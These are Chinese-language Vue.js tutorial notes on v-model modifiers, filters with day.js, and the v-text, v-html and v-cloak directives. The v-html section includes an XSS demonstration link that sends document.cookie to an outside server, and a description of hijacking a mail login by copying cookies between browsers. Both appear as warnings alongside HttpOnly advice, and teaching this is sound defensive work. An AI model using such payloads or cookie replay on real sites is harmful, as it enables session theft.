Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
userInfo: {
account: '',
password: '',
gender: 'female', // 默认选female
hobby: [],
city: 'BeiJing',
other: '',
agree: '',
age: ''
}
},
methods: {
demo() {
console.log(this.userInfo)
// console.log(JSON.stringify(this._data))
}
}
})
</script>
##### v-model的修饰符 ###### number image-20210903195606755 优化: image-20210903195714716 type限定只接受数字输入,其他类型输入会被屏蔽,但是收集的数据仍然是字符串格式,而v-model的修饰符,强制将收集的数据类型转换为数值型。 只使用v-model的修饰符只能起到部分作用,当首字符是数字,收集连续的数字为数值型数据,当出现非数字后,屏蔽后续输入;当首字符不是数字,收集所有输入为字符串。 38 ###### lazy 用于不希望敏感实时收集数据的情况,比如防抖,当表单节点失去焦点时,才会收集数据。 ###### trim 去掉首尾空格,和Js中的trim()效果一样 ##### 总结 * 收集表单数据: * 若:``,则v-model收集的是value的值,用户输入即为value值 * 若:``,则v-model收集的是value的值,且要给标签配置value值 * 若:`` * 没有配置input的value属性: * v-model的初始值是非数组,那么收集的就是checked(勾选或未勾选,是boolean值) * 配置了input的value属性: * v-model的初始值是数组,那么收集的就是checked(勾选或未勾选,是boolean值) * v-model的初始值是数组,那么收集的就是value组成的数组 * 备注:v-model的三个修饰符: * lazy:失去焦点后再收集数据 * trim:输入首尾空格过滤 * number:输入字符转为有效的数字 ### 1.25 过滤器 *非必须工具* 需求:显示格式化时间 #### day.js [BootCDN](https://www.bootcdn.cn/):第三方库大全 ![image-20210903202719446](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210903202719446.png) ![image-20210903202750253](https://gitee.com/zhangjialin_zhulan/myimagerepo/raw/master/images/image-20210903202750253.png) image-20210903203134543 image-20210903203154172
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<!--准备一个容器-->
<div id="root">
<h2>显示格式化后的时间</h2>
<h3>现在是:{{fmtTime}}</h3>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
time: 1630671767228, //时间戳
},
computed: {
fmtTime() {
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss'); //给参数格式化参数时间,不给参数默认格式化当前时间
}
}
})
</script>
#### 案例实现 `|`:管道符 image-20210903204338824 即使timeFormater不加`()`,过滤器也会把time作为参数,传递给timeFormater,而timeFormater的返回值会替换time成为实际值。 如果加了括号传参,如:`{{time | timeFormater('YYYY_MM_DD')}}
,表面上传了一个参数,但实际上,传递了两个,第一个参数一定是前面的time!!!而第二个参数才是括号中的内容。

多个过滤器可以实现串联,过滤是按管道书写顺序来的。

image-20210903205506937

image-20210903205754696

局部过滤器

局部过滤器:只有当前Vue实例能够使用,如果再出现一个Vue实例,就不能够使用了,即:如果vmA创建过滤器demoA,vmB创建过滤器demoB,则只能vmA用demoA,vmB用demoB。(以后一个vm,多个组件)

image-20210903210533310
  • 注意:

    • 过滤器不但能用在插值语法中,还能用于数据绑定时的过滤:

      image-20210903210958479

      但是只能用于v-bind,不能用于v-model

代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
<!--引入VUE-->
<script src="../js/vue.js"></script>
<script src="../js/dayjs.min.js"></script>
</head>
<body>
<!--准备一个容器-->
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3><br/>
<!-- methods实现 -->
<h3>{{getFmtTime()}}</h3><br/>
<!-- 过滤器实现 -->
<h3 :x="name | myslice">现在是:{{time | timeFormater | myslice}}</h3>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
// 配置全局过滤器
Vue.filter('myslice',function(value){
return value.slice(0,4);
})
new Vue({
el: '#root',
data: {
time: 1630671767228, //时间戳
name:'张加林&&&zl',
},
computed: {
fmtTime() {
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss'); //给参数格式化参数时间,不给参数默认格式化当前时间
}
},
methods:{
getFmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
},
filters:{
// 局部过滤器
timeFormater(value,str = 'YYYY-MM-DD HH:mm:ss'){ // ES6形参默认值
return dayjs(value).format(str);
},
// myslice(value){
// return value.splice(0,4);
// }
}
})
</script>

</html>

总结

  • 过滤器:
    • 语法:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑处理)
    • 语法:
      • 注册过滤器:Vue.filter(name,callback)new Vue(filters:{})
      • 使用过滤器:{{xxx | 过滤器名}}或·v-bind:属性 = "xxx | 过滤器名"
    • 备注:
      • 过滤器也可以接收额外的参数,多个过滤器可以串联
      • 并没有改变原来的数据,是产生新的对应的数据

1.26 Vue内置指令

v-text

作用:向其所在节点中渲染文本内容。

image-20210903212241658
  • 与插值语法的区别:
    • v-text会拿到v-text中的变量值,然后替换整个节点中的值,而插值语法不会。
      • 更加常用的是插值语法,因为它灵活。

v-text不能解析标签,而是将所有字符当做正常文本解析,不会当作标签结果:

1
2
3
4
5
6
<h2 v-text = "test"></h2>
……………………
data:{
site:'miketaylorjuly123.cn',
test: '<h3>张加林</h3>'
}

image-20210903212648288

v-html

v-html支持结构解析,而v-text不支持。

image-20210903213238411 image-20210903213255837

image-20210903213901568

image-20210903214006260

登录网易邮箱为例:

image-20210903214247209

换一个浏览器,将Cookie要登录的页面的cookie全部删除,替换为已经登录的浏览器的Cookie中的key value,你就可以成功登录页面!

image-20210903215003432

使用上述插件可以一键导入导出cookie。

安全问题

js获取cookie

image-20210903215329532

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>
<!--准备一个容器-->
<div id="root">
<h2>{{site}}</h2>
<h2 v-text = "test"></h2>
<h2 v-html = "test"></h2>
<div v-html="str"></div>
</div>
</body>
<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。
new Vue({
el:'#root',
data:{
site:'miketaylorjuly123.cn',
test: '<h3>张加林</h3>',
str:'<a href=javascript:location.href = "http://www.baidu.com?"+document.cookie>我找的你想康的了,快来康康!!!</a>'
}
})
</script>

image-20210904214531529

点击后,获取当前正在所处网站的全部cookie,然后跳走,并且把所有的cookie以参数的形式传给坏人的服务器。

image-20210904215026698

设置HttpOnly,使得cookie的该字段只能由HTTP协议可以读取,可以携带(js代码无法再直接读取cookie),所以敏感数据最好加HttpOnly限制。

总结
  • v-html
    • 作用:向指定节点渲染包含html结构的内容
    • 与插值语法的区别:
      • v-html会替换掉节点中所有的内容,而不会这样
      • v-html可以识别html结构
    • 特别要注意:v-html有安全性问题!!!
      • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞,能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。)
      • 一定要在信任的内容上使用v-html,永远不要用在用户提交的内容上!!!

v-cloak

Win + R => cmd => node server启动

image-20210906103146548

访问链接:https://localhost:8080/resource/5s/vue.js

5s代表5s后返回vue.js给访问方。

虽然下述方式可以调节网速,但是无法控制外部的js返回时间。

image-20210906111035400

js阻塞:JS具有阻塞特性,当浏览器在执行js代码时,不能同时做其它事情,即